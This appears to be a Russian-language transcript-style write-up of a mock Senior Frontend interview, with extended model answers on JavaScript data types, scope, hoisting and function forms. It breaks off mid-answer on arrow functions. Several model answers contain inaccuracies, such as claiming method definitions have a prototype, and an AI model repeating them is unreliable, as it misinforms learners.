Мок интервью Frontend | Тренировка перед реальным собесом
Сегодня мы разберем полноценное техническое собеседование на позицию Senior Frontend-разработчика, прошедшее в формате живого диалога с разбором теории, практикой и кодом. Кандидат Миша демонстрирует глубокую экспертизу в JavaScript, TypeScript, React и браузерных API, оперируя не только определениями, но и продуктивными примерами из боевого опыта, что позволяет интервьюеру Дамиру подтвердить его уровень как сильного сеньора. В выпуске вас ждет подробный разбор ответов по промисам, Fiber'у, мемоизации, SOLID, уязвимостям безопасности и решению алгоритмической задачи с ретраями, а также честный фидбэк о сильных сторонах и зонах роста.
Вопрос 1. Перечислить все типы данных в JavaScript.
Таймкод: 00:02:02
Ответ собеседника: Правильный. Назвал: boolean, null, undefined, number, bigint, string, object, symbol. Упомянул, что symbol используется редко.
Правильный ответ:
В JavaScript существует 8 основных типов данных, которые делятся на две фундаментальные категории: примитивы (primitive values) и объекты (objects/structural types).
1. Примитивные типы (7 шт.) Примитивы — это неизменяемые значения, которые не имеют методов и свойств (хотя движки позволяют обращаться к методам через временные обертки-объекты).
string— строки. Неизменяемые последовательности UTF-16 кодовых единиц. В современном коде используются шаблонные строки (template literals) для интерполяции и многострочности.number— числа двойной точности (IEEE 754). ВключаетInfinity,-Infinity,NaN. Для целых чисел безопасный диапазон:Number.MIN_SAFE_INTEGER..Number.MAX_SAFE_INTEGER(±2⁵³−1).bigint— целые числа произвольной точности (добавлен в ES2020). Создаются суффиксомn(например,100n). Нельзя смешивать сnumberв арифметике без явного приведения.boolean— логический тип:true/false.undefined— значение переменной, которой не было присвоено значение. Также возвращается функциями без явногоreturnи при обращении к несуществующим свойствам.null— намеренное отсутствие объекта. Важно:typeof null === 'object'— это официально признанный баг языка с первых версий, сохраненный для совместимости.symbol— уникальные и неизменяемые идентификаторы (ES2015). Используются для создания «скрытых» свойств объектов, метапрограммирования (Symbol.iterator,Symbol.toPrimitiveи др.) и предотвращения коллизий имен.
2. Объектный тип (1 шт.)
object— изменяемые структуры данных ссылочного типа. Ключи — строки или Symbols. Включает в себя:- Обычные объекты (
{}), массивы ([]), функции (function() {}). - Встроенные конструкторы:
Date,RegExp,Map,Set,WeakMap,WeakSet,ArrayBuffer,TypedArray,Promiseи др. - Функции — это вызываемые объекты (
typeof fn === 'function'), но они всё равно относятся к типуobjectв терминах спецификации (ECMAScript Language Types).
- Обычные объекты (
Дополнительные нюансы, важные на уровне Senior/Tech Lead:
А. typeof vs Object.prototype.toString
Оператор typeof имеет известные ограничения:
typeof null === 'object'; // true (баг)
typeof [] === 'object'; // true (массив — объект)
typeof /regex/ === 'object'; // true в некоторых движках, 'function' в других (нестандартно)
Надежный способ определения встроенного типа — Object.prototype.toString.call(value):
Object.prototype.toString.call(null); // "[object Null]"
Object.prototype.toString.call([]); // "[object Array]"
Object.prototype.toString.call(() => {}); // "[object Function]"
Object.prototype.toString.call(100n); // "[object BigInt]"
Б. nullish объединение и опциональная цепочка
Современный код (ES2020+) активно использует ?? и ?. для работы с null/undefined, отличая их от других falsy-значений (0, '', false):
const value = config?.options?.limit ?? 10; // дефолт только для null/undefined
В. Object.is() для строгого сравнения
=== ведет себя неинтуитивно для NaN и нулей:
NaN === NaN; // false
Object.is(NaN, NaN); // true
0 === -0; // true
Object.is(0, -0); // false (важно для математических расчетов и сигналов)
Г. Примитивы-обертки (Primitive Wrapper Objects)
При обращении к свойству/методу у примитива ('str'.toUpperCase()) JS неявно создает временный объект-обертку (new String('str')), вызывает метод и уничтожает обертку. Нельзя добавлять свои свойства к примитивам — они не сохранятся:
const s = 'hello';
s.customProp = 123;
console.log(s.customProp); // undefined (обертка была уничтожена)
Д. Symbol в продакшене
Кандидат верно заметил, что Symbol встречается реже в бизнес-логике, но он критичен для инфраструктуры:
- Реализация итераторов (
Symbol.iterator) дляfor...ofи спред-оператора. - Переопределение поведения примитивов (
Symbol.toPrimitive,Symbol.toStringTag). - Создание приватно-подобных полей до появления
#privateполей классов. - Глобальный реестр через
Symbol.for('key')иSymbol.keyFor(sym)для межмодульного взаимодействия.
Вопрос 2. На какие две группы делятся типы данных в JS.
Таймкод: 00:02:43
Ответ собеседника: Правильный. Разделил на примитивные и ссылочные (объекты). К ссылочным отнес object, остальные — примитивы.
Правильный ответ:
В спецификации ECMAScript типы данных делятся на две фундаментальные категории: Примитивные типы (Primitive Types) и Объектный тип (Object Type). Термин «ссылочные типы» (Reference Types) часто используется в сообществе и литературе как синоним для объектов, но строго говоря, в спецификации существует только один структурный тип — Object.
1. Примитивные типы (Primitive Values)
Список: Undefined, Null, Boolean, String, Symbol, Number, BigInt.
Ключевые характеристики:
- Неизменяемость (Immutability): Значение примитива нельзя изменить. Операции над примитивом (конкатенация строк, инкремент числа) всегда создают новое значение.
- Хранение по значению (Value Semantics): При присваивании (
const b = a) или передаче в функцию создается полная копия значения. - Сравнение по значению:
===возвращаетtrue, только если значения идентичны (битовое равенство для чисел/бигинтов, побайтовое для строк). - Отсутствие методов/свойств: У примитивов нет собственных свойств. Доступ к
.length,.toFixed()и т.д. работает за счет автоупаковки (boxing) — неявного создания временного объекта-обертки (new String(),new Number()), который тут же уничтожается. - Невозможность добавить свойство:
const str = 'hello';str.custom = 123; // Свойство запишется в временную обертку и тут же потеряетсяconsole.log(str.custom); // undefined
2. Объектный тип (Object Type / Structural Types)
Список: Обычные объекты ({}), Массивы ([]), Функции, Date, RegExp, Map, Set, Promise, ArrayBuffer, TypedArray и пользовательские классы.
Ключевые характеристики:
- Изменяемость (Mutability): Содержимое объекта можно менять после создания (добавлять/удалять свойства, менять элементы массива).
- Хранение по ссылке (Reference Semantics): Переменная хранит не сам объект, а ссылку (указатель) на область в памяти (Heap), где лежит объект.
- Присваивание копирует ссылку, не объект:
const a = { x: 1 };const b = a; // b ссылается на ТОТ ЖЕ объектb.x = 2;console.log(a.x); // 2 (изменился и у a)
- Сравнение по ссылке (Identity):
===возвращаетtrueтолько если операнды указывают на один и тот же экземпляр в памяти.[] === []; // false (два разных массива в памяти)const arr = [];arr === arr; // true - Передача в функции (Call by Sharing): В функцию передается копия ссылки.
- Можно мутировать переданный объект:
fn(obj) { obj.prop = 2 }— изменит внешний объект. - Нельзя заменить сам объект снаружи:
fn(obj) { obj = {} }— внешняя переменная не изменится (ссылка передана по значению).
- Можно мутировать переданный объект:
Важные нюансы для Senior-уровня:
А. const для объектов vs примитивов
const гарантирует неизменяемость связи переменной со значением, а не неизменяемость самого значения.
const obj = { a: 1 };
obj.a = 2; // OK: мутируем содержимое
obj = { a: 3 }; // TypeError: Assignment to constant variable (меняем ссылку)
const num = 1;
num = 2; // TypeError: примитивы неизменяемы, можно только переприсвоить
Б. «Call by Sharing» (Вызов по совместному доступу)
Это официальная терминология (Barbara Liskov) для стратегии передачи аргументов в JS, Java, Python, Ruby. Это не «call by reference» (как в C++ void f(int& x)), где можно сменить адрес переменной вызывающего кода. В JS мы получаем копию указателя.
В. Производительность и память (V8 / движки)
- Примитивы (кроме больших строк/BigInt) часто размещаются прямо в стеке фрейма функции или в полях объекта (inline), что дает высокую локальность кэша.
- Объекты всегда размещаются в куче (Heap). Доступ требует разыменования указателя (pointer chasing).
- Скрытые классы (Hidden Classes / Shapes): Движки оптимизируют доступ к свойствам объектов, если форма (shape) объекта стабильна. Частое добавление/удаление свойств ломает оптимизацию (деоптимизация).
Г. Object.freeze() / seal() / preventExtensions()
Позволяют приблизить объекты к поведению примитивов (иммутабельность):
preventExtensions— нельзя добавлять новые свойства.seal+ нельзя удалять/настраивать существующие (configurable: false).freeze+ нельзя менять значения свойств (writable: false). Поверхностная заморозка (shallow) — вложенные объекты остаются изменяемыми.
Д. Сравнение Object.is() vs ===
Для примитивов Object.is отличается только обработкой NaN и ±0 (см. предыдущий ответ). Для объектов поведение идентично === (сравнение ссылок).
Е. Примитивные обертки (Wrapper Objects) — new String(), new Boolean()
Антипаттерн. Создают объекты типа Object, ломают логику:
typeof new String('a'); // 'object'
new String('a') === 'a'; // false (сравнение объекта со строкой -> приведение объекта к примитиву -> true? Нет, === не приводит типы! Результат false)
Boolean(new Boolean(false)); // true (объект всегда truthy!)
Всегда используйте литералы и фабричные функции (String(), Number() без new).
Вопрос 3. Являются ли массивы и функции отдельными типами данных.
Таймкод: 00:03:16
Ответ собеседника: Правильный. Массивы — не отдельный тип. Функции — это объекты, им можно добавлять свойства.
Правильный ответ:
С точки зрения спецификации ECMAScript (Language Types) — нет, это не отдельные типы. И массивы, и функции относятся к единому структурному типу Object.
Однако у обоих есть уникальные внутренние слоты (internal slots) и поведение, которые выделяют их в отдельные виды объектов (object kinds) с особыми возможностями.
1. Массивы (Arrays) — экзотические объекты (Exotic Objects)
Массивы — это объекты с специальным внутренним слотом [[DefineOwnProperty]] и поведением свойства length.
- Автоматическое управление
length: При добавлении числового индексаlengthобновляется автоматически. При уменьшенииlength— удаляются лишние элементы. - Дырявость (Sparse arrays): Допускают «дыры» (несуществующие индексы), в отличие от плотных массивов в C/C++.
- Наследник
Array.prototype: Имеют доступ к методамmap,filter,reduce,pushи др. - Проверка типа:
typeof [] === 'object'— true. Надежная проверка:Array.isArray(arr)(проверяет внутренний слот[[IsArray]], работает кросс-фреймово, в отличие отinstanceof Array).
Внутреннее устройство (V8 / движки): Движки сильно оптимизируют массивы под конкретные кinds (виды):
- PACKED_SMI_ELEMENTS — плотный массив маленьких целых (Small Integers, 31/32 бит).
- PACKED_DOUBLE_ELEMENTS — плотный массив чисел с плавающей точкой.
- PACKED_ELEMENTS — плотный массив любых значений (указатели на объекты).
- HOLEY_*_ELEMENTS — аналогичные виды для дырявых массивов.
Переход от «быстрого» вида к «медленному» (например, добавление строки в массив чисел) вызывает деоптимизацию и перевыделение памяти.
Array.isArrayпроверяет флаг в заголовке объекта (Map/HiddenClass), что делает её O(1).
2. Функции (Functions) — вызываемые объекты (Callable Objects)
Функции — это объекты, обладающие внутренним методом [[Call]] (и опционально [[Construct]] для конструкторов).
typeof fn === 'function'— true. Это единственный случай, когдаtypeofдля объекта возвращает не'object'. Спецификация явно требует этого для объектов, имеющих слот[[Call]].- Свойства функции (как у объекта):
name— имя функции (выводится в стеке вызовов).length— количество формальных параметров до первого с дефолтом / rest / деструктуризации.prototype— объект-прототип для экземпляров при вызове черезnew(нет у стрелочных функций и методов классов сconstructor).- Можно вешать любые кастомные свойства:
fn.config = { retries: 3 }.
- Вызов:
fn()вызывает внутренний метод[[Call]]. - Конструирование:
new fn()вызывает[[Construct]](создаетthis, наследуемый отfn.prototype, вызывает[[Call]]с этимthis). - Стрелочные функции (Arrow Functions):
- Не имеют
[[Construct]]→new arrow() // TypeError. - Не имеют
prototype. - Не имеют своего
this,arguments,super,new.target(лексическое замыкание).
- Не имеют
Function.prototype — тоже функция:
typeof Function.prototype; // 'function'
Function.prototype(); // undefined (пустая функция)
Это уникальный объект, который является и прототипом всех функций, и функцией.
3. Сравнение: «Объект» vs «Функция» vs «Массив»
| Характеристика | Обычный объект {} | Массив [] | Функция function(){} |
|---|---|---|---|
typeof | 'object' | 'object' | 'function' |
Array.isArray() | false | true | false |
instanceof Object | true | true | true |
instanceof Array | false | true | false |
instanceof Function | false | false | true |
| Ключевой внутренний слот | — | [[DefineOwnProperty]] (length magic) | [[Call]], [[Construct]] (optional) |
prototype | Нет (есть __proto__) | Нет (есть __proto__) | Есть (кроме arrows) |
4. Практическое значение для разработчика
- Полиморфизм: Функцию можно передать туда, где ждут объект с методами (например,
fetch(url, { method: 'GET', headers: fn })— еслиfnимеет методtoStringили вызывается как колбэк). - Мемоизация / Состояние: Хранение кэша прямо на функции:
function heavyCalc(x) {if (heavyCalc.cache[x]) return heavyCalc.cache[x];// ... calcreturn heavyCalc.cache[x] = result;}heavyCalc.cache = {}; // Свойство у функции-объекта
- Массивы не «магические»:
delete arr[0]создает дыру,lengthне меняется.arr.length = 0— самый быстрый способ очистить (в V8). - Кросс-реальм (iframe/worker):
[] instanceof Array—false(разные глобальные объекты, разные конструкторы).Array.isArray([])—true(проверяет внутреннюю природу объекта).
Резюме: Тип данных один — Object. Но спецификация вводит понятие Exotic Objects (экзотические объекты) для массивов и Callable Objects для функций, что наделяет их уникальным поведением, недоступным обычным объектам.
Вопрос 4. В чём отличие областей видимости var, let и const.
Таймкод: 00:03:57
Ответ собеседника: Неполный. Сказал, что var — глобальная область видимости (исправил: функциональная), let/const — блочная (фигурные скобки).
Правильный ответ:
Отличия затрагивают не только границы видимости, но и механизм хостинга (hoisting), временную мёртвую зону (TDZ), поведение в глобальном контексте и работу в циклах.
1. Границы области видимости (Scope)
| Ключевое слово | Область видимости | Где видна переменная |
|---|---|---|
var | Функциональная (Function-scoped) | Во всей функции, где объявлена (или глобально, если вне функций). Блоки if, for, {} — не создают область для var. |
let / const | Блочная (Block-scoped) | Внутри ближайших фигурных скобок {} (блока), за исключением корневого уровня модуля (ESM). |
function varExample() {
if (true) {
var x = 10;
}
console.log(x); // 10 — var «просочился» из блока if
}
function letExample() {
if (true) {
let y = 20;
}
console.log(y); // ReferenceError: y is not defined
}
2. Хостинг (Hoisting) и TDZ (Temporal Dead Zone)
var:
- Объявление поднимается в начало функции/глобального контекста.
- Инициализация значением
undefinedпроисходит сразу при входе в контекст. - Доступ до строки объявления вернет
undefined(не ошибку).
let / const:
- Объявление также поднимается (формально), но инициализация не происходит.
- Входит в TDZ (Temporal Dead Zone) — зону от начала области видимости до строки фактического объявления.
- Любой доступ (чтение/запись) в TDZ выбрасывает
ReferenceError.
console.log(a); // undefined (не ReferenceError!)
var a = 1;
console.log(b); // ReferenceError: Cannot access 'b' before initialization
let b = 2;
// typeof в TDZ для let/const — тоже ошибка (вне строгого режима для var безопасно)
typeof undeclaredVar; // "undefined" — ок
typeof undeclaredLet; // ReferenceError — в TDZ глобального контекста (если был бы let выше)
Важно для const: Объявление обязательно требует инициализации в той же строке (const x = 1;). const x; // SyntaxError. Переприсваивание запрещено, но мутация объекта/массива разрешена.
3. Глобальный объект (window / globalThis)
varв глобальном контексте создаёт свойство глобального объекта (window.x = 1в браузере). Его нельзя удалить черезdelete(атрибут[[Configurable]]: false), но можно перезаписать.let/constв глобальном контексте создают связь в глобальном лексическом окружении (Global Lexical Environment), но НЕ создают свойство наwindow/globalThis.
var a = 1;
let b = 2;
const c = 3;
console.log(window.a); // 1
console.log(window.b); // undefined
console.log(window.c); // undefined
console.log('a' in window); // true
console.log('b' in window); // false
Это критично для изоляции модулей и предотвращения загрязнения глобального неймспейса.
4. Повторное объявление (Re-declaration)
var— можно объявлять многократно в одной области видимости (второе объявление игнорируется, но если есть инициализация — работает как присваивание).let/const— SyntaxError при повторном объявлении в той же области видимости.
var x = 1;
var x = 2; // OK
let y = 1;
let y = 2; // SyntaxError: Identifier 'y' has already been declared
// В разных блоках — ок
let z = 1;
{ let z = 2; } // OK, другая область
5. Поведение в циклах (Классическая ловушка замыканий)
var в for: Одна переменная i на весь цикл. К моменту выполнения асинхронных колбэков цикл завершен, i === 3.
for (var i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 0); // 3, 3, 3
}
let в for: Спецификация создаёт новую привязку (binding) для каждой итерации. Замыкание захватывает значение текущей итерации.
for (let i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 0); // 0, 1, 2
}
// Эквивалентно:
for (let i = 0; i < 3; i++) {
let i_copy = i; // неявно на каждой итерации
setTimeout(() => console.log(i_copy), 0);
}
const в for: Можно использовать только если не меняете счетчик (например, for (const item of items)). В классическом for (const i=0; ...) — TypeError при инкременте.
6. Резюме: Best Practices (Modern JS)
- По умолчанию —
const. Сигнализирует намерению не переприсваивать. Защищает от случайных багов. Упрощает рефакторинг и анализ кода (статические анализаторы, компиляторы). let— только если нужна переприсваивание (счетчики, накопление значений, переключение флагов).var— не использовать в современном коде (ES2015+). Единственные исключения — легаси-код без транспиляции или специфические хаки сfunction-scope (редко).- Блочная область видимости позволяет безопасно объявлять переменные внутри
if/for/try/catchбез утечки во внешнюю функцию. - TDZ — это защита от логических ошибок «использование до объявления», которые при
varмолча давалиundefined.
Дополнительный нюанс (Advanced): var и FunctionDeclaration в блоках (Sloppy Mode vs Strict Mode)
В нестрогом режиме (sloppy mode) поведение function внутри блоков и var внутри блоков было нестандартизированным и зависело от движка (Annex B.3.3). В строгом режиме ('use strict') и в модулях (ESM):
functionвнутри блока — блочная область видимости (какlet), но с хостингом в начало блока.varвнутри блока — игнорирует блок, поднимается в функцию.
'use strict';
if (true) {
function f() { return 1; }
var v = 2;
}
console.log(typeof f); // "undefined" (блочная функция)
console.log(v); // 2 (var ушел в функцию/глобал)
Это подчеркивает: всегда используйте 'use strict' (или модули ESM) и let/const.
Вопрос 5. Что такое всплытие и какие сущности к нему подвержены.
Таймкод: 00:05:54
Ответ собеседника: Правильный. Всплытие — объявления переменных и function declaration поднимаются вверху области видимости. Переменные var существуют, но не инициализированы (undefined). Функции доступны полностью.
Правильный ответ:
Всплытие (Hoisting) — это небуквальный термин, описывающий поведение JavaScript-движка на фазе создания лексического окружения (Lexical Environment Creation Phase) перед выполнением кода (Runtime). На этой фазе движок сканирует код, находит объявления (declarations) и регистрирует их в окружении (VariableEnvironment / LexicalEnvironment), делая доступными до строки их появления в исходном коде.
Важно: физически код не перемещается. Это механизм инициализации связок (bindings) в области видимости.
1. Кто подвержен всплытию и как именно
| Сущность | Фаза создания (Hoisting) | Начальное значение | Доступно до объявления? | Примечание |
|---|---|---|---|---|
var | Да (в Function / Global Environment) | undefined | Да (значение undefined) | Свойство VariableEnvironment. |
function (Declaration) | Да (в VariableEnvironment) | Ссылка на функцию (полностью инициализирована) | Да (можно вызвать) | И имя, и тело доступны. |
let / const | Да (в LexicalEnvironment) | Нет (Uninitialized) | Нет → ReferenceError (TDZ) | Находятся в TDZ до строки инициализации. |
class (Declaration) | Да (в LexicalEnvironment) | Нет (Uninitialized) | Нет → ReferenceError (TDZ) | Поведение как let/const. |
import | Да (Module Environment) | Модульная запись (Module Record) | Да (но выполнение модуля раньше) | Хосятся на самом верху модуля. |
function (Expression / Arrow) | Зависит от ключевого слова (var/let/const) | Зависит от ключевого слова | Зависит от ключевого слова | const fn = () => {} — подчиняется правилам const. |
2. Две фазы выполнения контекста (Execution Context)
-
Creation Phase (Фаза создания):
- Создается
LexicalEnvironment/VariableEnvironment. var: Создается запись (Binding) → Инициализируетсяundefined.function declaration: Создается запись → Инициализируется функцией (создается Function Object).let/const/class: Создается запись → НЕ инициализируется (флаг[[Initialized]]: false). Входит в TDZ (Temporal Dead Zone).import: Создаются импортные записи, связываются с экспортами других модулей.
- Создается
-
Execution Phase (Фаза выполнения):
- Код выполняется построчно.
- При встрече
let x = 10/const x = 10/class X {}происходит инициализация существующей связки (флаг[[Initialized]]: true). - При встрече
var x = 10происходит присваивание (так как связка уже есть и равнаundefined).
3. Function Declaration vs Function Expression — главная ловушка
// Function Declaration — всплывает ВЦЕЛОМ
foo(); // OK: "Hello"
function foo() { console.log('Hello'); }
// Function Expression (var) — всплывает ТОЛЬКО var (как undefined)
bar(); // TypeError: bar is not a function (bar === undefined)
var bar = function() { console.log('World'); };
// Function Expression (let/const) — в TDZ
baz(); // ReferenceError: Cannot access 'baz' before initialization
const baz = () => { console.log('!'); };
Class Declaration ведет себя как let/const:
new MyClass(); // ReferenceError
class MyClass {}
4. Тонкости var в глобальной области (Global Object)
var в глобальной области создает свойство глобального объекта (window / globalThis) с атрибутом [[Configurable]]: false.
var x = 1;
delete window.x; // false (не удаляется в строгом/нестрогом)
let/const/class/function (в строгом режиме/модулях) — не создают свойств глобального объекта.
5. import — хостинг на уровне модулей
Все import поднимаются в самый верх модуля до выполнения любого кода модуля. Это позволяет циклическим зависимостям работать (live bindings).
// module.js
console.log('Module start');
import { a } from './other'; // Выполнится ПЕРВЫМ, до console.log
6. Практический паттерн: IIFE и модули для изоляции
До ES6 модулей var не имел блочной видимости, поэтому использовали IIFE (Immediately Invoked Function Expression) для создания приватной области видимости, где var не утекали наружу:
(function() {
var privateVar = 123;
// ...
})();
console.log(privateVar); // ReferenceError
Сейчас это заменяется на ES Modules (<script type="module">) или просто блоки {} с let/const.
7. Резюме для собеседования (Senior уровень)
- Хостинг — это работа компилятора/парсера на фазе Creation, а не перемещение строк кода.
var+function declaration— «старый» хостинг: доступны сразу,var=undefined,function= callable.let/const/class— «современный» хостинг: связка создается, но недоступна (TDZ) до строки инициализации. Это защита от багов.import— хосятся выше всего, обеспечивая граф зависимостей до рантайма.- Best Practice: Использовать
const/let, избегатьvar, объявлять функции/переменные перед использованием (даже если хостинг позволяет иначе) — для читаемости и предсказуемости. Линтеры (eslint: no-use-before-define) помогают следить за этим.
Вопрос 6. Какие способы объявления функций существуют в JavaScript.
Таймкод: 00:07:04
Ответ собеседника: Правильный. Function declaration, function expression, стрелочные функции, new Function(), IIFE (вспомнил после наводки).
Правильный ответ:
В JavaScript существует 4 базовых синтаксических способа создать функцию (Function Object) и несколько специализированных вариаций. Все они создают объекты с внутренним методом [[Call]], но отличаются поведением this, хостингом, наличием prototype, arguments, super и возможностью конструирования ([[Construct]]).
1. Function Declaration (Объявление функции / Function Statement)
function foo(a, b) { return a + b; }
- Хостинг: Полное (имя + тело). Доступно везде в области видимости (функции/модуля) до объявления.
name: Явное имя (foo). Используется в стеке вызовов, дебаггере,Function.prototype.name.this: Динамический (зависит от способа вызова:obj.foo(),foo(),call/apply,new foo()).arguments: Доступен (array-like объект).prototype: Есть (foo.prototype). Может быть конструктором (new foo()).super: Нет (не может использоватьsuper.x()).- В строгом режиме / модулях: Область видимости — блочная (как
let), но с хостингом в начало блока. Во внешнем скрипте (sloppy) — функциональная/глобальная.
2. Function Expression (Функциональное выражение)
const bar = function(a, b) { return a + b; }; // Анонимное
const baz = function namedBaz() { return 1; }; // Именованное (Named FE)
- Хостинг: Только переменной (
var/let/const). Сама функция создается в момент выполнения строки присваивания. name: У анонимных — имя переменной (bar, inferred name). У именованных — явное имя (namedBaz). ИмяnamedBazвидно только внутри самой функции (для рекурсии/дебага), во внешней области —ReferenceError.this/arguments/prototype/new: Идентичны Function Declaration.super: Нет.
3. Arrow Functions (Стрелочные функции, ES2015)
const add = (a, b) => a + b; // Неявный возврат (concise body)
const mul = (a, b) => { return a * b; }; // Блочное тело
const id = x => x; // Один аргумент — скобки не нужны
const noArgs = () => 42; // Нет аргументов — пустые скобки
- Хостинг: Только переменной (как
let/const→ TDZ). this: Лексическое (статическое). Захватываетthisиз внешнего лексического окружения на момент создания. Нельзя изменить черезcall,apply,bind,new.arguments: Нет. Используйте rest-параметры:(...args) => ....prototype: Нет.ArrowFunction.prototype—undefined.new: Нельзя.new arrowFn()→TypeError: arrowFn is not a constructor(нет слота[[Construct]]).super: Лексическое (какthis). Позволяет использоватьsuper.method()в методах классов/объектов.yield: Нельзя (не генераторы). Нетarguments, нетthis— не могут быть генераторами.
4. new Function(...args, bodyString) (Конструктор Function)
const sum = new Function('a', 'b', 'return a + b');
- Создание: В runtime (парсинг строки кода). Медленно, небезопасно (XSS при пользовательском вводе), ломает оптимизации JIT (нет кэширования Inline Caches).
- Область видимости: Только глобальная (
globalThis/window). Не захватывает замыкание (lexical scope) — не видит локальные переменные внешней функции. this/arguments/prototype/new: Как обычная функция (динамическийthis, естьarguments, естьprototype, можноnew).- Применение: Редко. Динамическая генерация кода (шаблонизаторы, REPL, песочницы).
5. IIFE (Immediately Invoked Function Expression) — Паттерн, а не синтаксис
(function() { /* ... */ })(); // Классический
(() => { /* ... */ })(); // Стрелочный (современный)
void function() { /* ... */ }(); // Унарный оператор для предотвращения ASI проблем
- Суть: Function Expression, обернутый в группирующие скобки
()(чтобы парсер не воспринял как Declaration) и немедленно вызванный. - Цель: Создание изолированной области видимости (scope isolation) для переменных (
varне утекают наружу), избегание загрязнения глобального объекта. - В современном коде (ESM): Не нужен — модули имеют свою область видимости. Блок
{}сlet/constрешает задачу локальной изоляции.
6. Методы объектов и классов (Сокращенный синтаксис, ES2015)
const obj = {
method() { return this.x; }, // Method Definition
*generator() { yield 1; }, // Generator Method
async fetch() { return await ... }, // Async Method
};
class C {
method() {}
static staticMethod() {}
get prop() {} // Геттер (не функция, но вызывается как свойство)
}
- Method Definition (
method() {}):- Имеет
[[HomeObject]]— ссылку на родительский объект. Необходим дляsuper. - Имеет
prototype(кроме геттеров/сеттеров). this— динамический.
- Имеет
- Arrow Function как свойство класса (
prop = () => {}):- Создается в конструкторе на каждом экземпляре (поле класса / Class Field).
thisзафиксирован на экземпляр (автобиндинг). Удобно для колбэков, но потребляет память на экземпляр.
7. Специализированные виды (Ключевые слова)
| Вид | Ключевое слово | Особенности |
|---|---|---|
| Generator | function* gen() { yield 1; } | Возвращает Iterator. Имеет next(), throw(), return(). this динамический. |
| Async Function | async function() { await ... } | Всегда возвращает Promise. this динамический. |
| Async Generator | async function* gen() { yield await ... } | Возвращает AsyncIterator (for await...of). |
| Async Arrow | async () => { await ... } | Лексический this, возвращает Promise. |
Сводная таблица отличий (Cheat Sheet)
| Характеристика | Declaration / Expression | Arrow Function | new Function | Method (obj.m() {}) |
|---|---|---|---|---|
| Хостинг | Полный (Decl) / Переменной (Expr) | Переменной (TDZ) | Runtime (строка) | Переменной (Expr) / Полный (Decl в классе? Нет, класс в TDZ) |
this | Динамический | Лексический (родительский) | Динамический | Динамический |
arguments | Да | Нет (rest params) | Да | Да |
prototype | Да | Нет | Да | Да (кроме геттеров/сеттеров) |
new | Да | Нет | Да | Да |
super | Нет | Лексический | Нет | Да (через [[HomeObject]]) |
| Замыкание (Scope) | Лексическое | Лексическое | Только Глобальное | Лексическое |
yield | Только function* | Нет | Нет | Только *method() |
Best Practices (Senior/Tech Lead View):
- По умолчанию —
const+ Arrow Function для колбэков, утилит, чистых функций. Дает лексическийthis, компактный синтаксис, защиту от случайногоnew. function(Declaration/Expression) / Method Syntax — когда нужен:- Динамический
this(методы объектов, event listenersel.addEventListener('click', function() { this })). arguments(редко, лучше...args).- Конструкторы (
new), прототипы. super(в классах/объектах).- Генераторы (
function*).
- Динамический
- Именованные Function Expressions (
const fn = function name() {}) — лучшие для профилирования/дебаггинга (читаемые стеки вызовов) и рекурсии внутри себя. - Избегайте
new Function— производительность, безопасность (CSPscript-src), отсутствие замыканий. - IIFE — только в легаси/бандлерах без модулей. В ESM используйте топ-левел
awaitили просто блоки{}. - Class Fields с стрелками (
onClick = () => {}) — удобны для авто-биндинга в React/классах, но создают копию функции на каждый экземпляр. Для высоконагруженных систем — лучшеmethod() {}+bindв конструкторе или декораторы.
Вопрос 7. В чём отличия стрелочных функций от function declaration.
Таймкод: 00:08:20
Ответ собеседника: Правильный. Нет своего this (лексическое), нет arguments, нельзя использовать как конструктор (new).
Правильный ответ:
Кандидат назвал три ключевых отличия. На уровне Senior/Tech Lead важно понимать причину этих отличий (внутренние слоты спецификации) и побочные эффекты, которые ломают код в продакшене.
Стрелочные функции (ArrowFunction) — это не «синтаксический сахар» над function. Это фундаментально иная конструкция с другими внутренними слотами (Internal Slots).
1. this: Динамический vs Лексический (Самое важное)
| Function Declaration | Arrow Function |
|---|---|
Имеет свой this (слот [[ThisMode]]: 'global' или 'strict'). | Нет своего this ([[ThisMode]]: 'lexical'). |
this определяется в момент вызова (Call-site): obj.fn(), fn(), call/apply, new Fn(). | this захватывается в момент создания (Definition-site) из внешнего лексического окружения. |
Можно изменить: fn.call(newThis), bind. | Невозможно изменить: call, apply, bind игнорируются (аргументы передаются, this — нет). |
Под капотом (Spec):
- Обычная функция: при входе в
[[Call]]вычисляетсяthisArgumentи биндится к окружению функции. - Стрелочная: при создании (
Evaluation of ArrowFunction) сохраняется ссылка наthisвнешнегоLexicalEnvironmentво внутренний слот[[ThisValue]](или через замыкание). При вызове[[Call]]просто берется это сохраненное значение.
Практическая ловушка — Event Listeners / DOM:
// Function Declaration — this = element (полезно)
button.addEventListener('click', function() {
this.classList.add('active'); // OK
});
// Arrow — this = window / module scope (баг)
button.addEventListener('click', () => {
this.classList.add('active'); // TypeError: Cannot read property 'classList' of undefined (в strict модуле)
// или window.classList... в старом коде
});
Решение: Использовать function для методов, где важен контекст вызова, или явно биндить handler.bind(this) (но тогда теряется возможность removeEventListener без сохранения ссылки).
2. arguments: Есть vs Нет (и зачем это нужно)
- Function Declaration: Имеет локальную переменную
arguments(Array-like,length,calleeв non-strict). Создается при каждом вызове → накладные расходы. - Arrow Function: Нет
arguments. Обращение кargumentsвнутри стрелочной функции разрешается во внешней области видимости (замыкание).
Современная замена — Rest Parameters (...args):
// Arrow — идиоматично, это настоящий массив
const sum = (...args) => args.reduce((a, b) => a + b, 0);
// Function Declaration — тоже лучше использовать rest, а не arguments
function sum(...args) { return args.reduce((a, b) => a + b, 0); }
arguments нужен только в легаси-коде или для Function.prototype.apply/call переадресации (где fn.apply(null, arguments)), но сейчас есть fn(...args).
3. Конструктор (new): Можно vs Нельзя
- Function Declaration: Имеет слот
[[Construct]]и свойствоprototype.new Fn()→ создает объект, прототипом которого являетсяFn.prototype. - Arrow Function: Нет слота
[[Construct]], нет свойстваprototype(ArrowFn.prototype === undefined).const Arrow = () => {};new Arrow(); // TypeError: Arrow is not a constructorArrow.prototype; // undefined
Последствие: Стрелочные функции не могут быть классами (ES6 classes — это синтаксис над constructor functions). Нельзя написать class A extends (() => {}) — родитель должен быть конструктором.
4. prototype: Есть vs Нет
- Function Declaration:
Fn.prototypeсуществует по умолчанию ({ constructor: Fn }). Используется для наследования методов экземпляров. - Arrow Function:
Arrow.prototype—undefined.- Нельзя добавить методы на прототип для экономии памяти (паттерн
Fn.prototype.method = ...). - Если стрелочная функция используется как поле класса (
method = () => {}), она создается на каждом экземпляре (потребление памяти O(N) вместо O(1) на прототипе).
- Нельзя добавить методы на прототип для экономии памяти (паттерн
